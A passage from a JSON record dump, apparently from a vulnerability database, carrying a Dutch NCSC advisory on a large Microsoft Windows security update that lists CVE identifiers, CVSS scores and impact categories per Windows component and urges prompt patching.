Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:00.761823Z"}, {"uuid": "a006f0ca-d8ee-4c15-8191-5abb686a41b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              